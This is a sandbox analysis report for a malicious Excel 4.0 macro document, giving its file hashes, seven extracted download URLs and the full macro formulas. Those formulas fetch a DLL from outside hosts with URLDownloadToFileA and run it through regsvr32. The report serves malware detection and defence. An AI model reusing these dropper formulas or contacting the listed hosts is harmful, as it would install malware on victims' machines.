Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    250676c4fa72773985727c37903063414bb0af91f63363fb4daf11eff14acd80

  • Size

    49KB

  • Sample

    241111-1va1esxfpe

  • MD5

    03884e2c80a766372b10c2f8da140a4a

  • SHA1

    833c66a9afc6e86f39be645b8ba26a9d4e7dd235

  • SHA256

    250676c4fa72773985727c37903063414bb0af91f63363fb4daf11eff14acd80

  • SHA512

    f3c6eb51a0aab5ac5713e862e2f9445da49a90572a57b748eb34bc4003f02416f90ddfd28dd25fa122f6c6304b488c52a59a1e8cd9bb0de392051c2cf7f447ba

  • SSDEEP

    1536:kkcEEt24xZdRBzH9hJBrdEwwNXekVIcog:9cEe2Kd3zdtdEwo/z

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://ballpointmedia.com/css/WDvvKlTTncgkazP/

http://www.altoxi.com/UIc/04GtHAQGA/

http://www.apesb.com/language/IgWs7RRV/

http://www.ara-choob.com/data1/Tzm3xsCsT4DScdUFOx/

http://www.techniquesbroadband.net/pay/Bxp/

http://www.arisgears.com/cgi-bin/dkeY/

https://www.manchesterslt.co.uk/a-to-z-of-slt/rNrJKOM2h/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ballpointmedia.com/css/WDvvKlTTncgkazP/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.altoxi.com/UIc/04GtHAQGA/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.apesb.com/language/IgWs7RRV/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ara-choob.com/data1/Tzm3xsCsT4DScdUFOx/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.techniquesbroadband.net/pay/Bxp/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arisgears.com/cgi-bin/dkeY/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/rNrJKOM2h/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://ballpointmedia.com/css/WDvvKlTTncgkazP/

xlm40.dropper

http://www.altoxi.com/UIc/04GtHAQGA/

xlm40.dropper

http://www.apesb.com/language/IgWs7RRV/

xlm40.dropper

http://www.ara-choob.com/data1/Tzm3xsCsT4DScdUFOx/

xlm40.dropper

http://www.techniquesbroadband.net/pay/Bxp/

xlm40.dropper

http://www.arisgears.com/cgi-bin/dkeY/

xlm40.dropper

https://www.manchesterslt.co.uk/a-to-z-of-slt/rNrJKOM2h/

Targets

    • Target

      250676c4fa72773985727c37903063414bb0af91f63363fb4daf11eff14acd80

    • Size

      49KB

    • MD5

      03884e2c80a766372b10c2f8da140a4a

    • SHA1

      833c66a9afc6e86f39be645b8ba26a9d4e7dd235

    • SHA256

      250676c4fa72773985727c37903063414bb0af91f63363fb4daf11eff14acd80

    • SHA512

      f3c6eb51a0aab5ac5713e862e2f9445da49a90572a57b748eb34bc4003f02416f90ddfd28dd25fa122f6c6304b488c52a59a1e8cd9bb0de392051c2cf7f447ba

    • SSDEEP

      1536:kkcEEt24xZdRBzH9hJBrdEwwNXekVIcog:9cEe2Kd3zdtdEwo/z

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks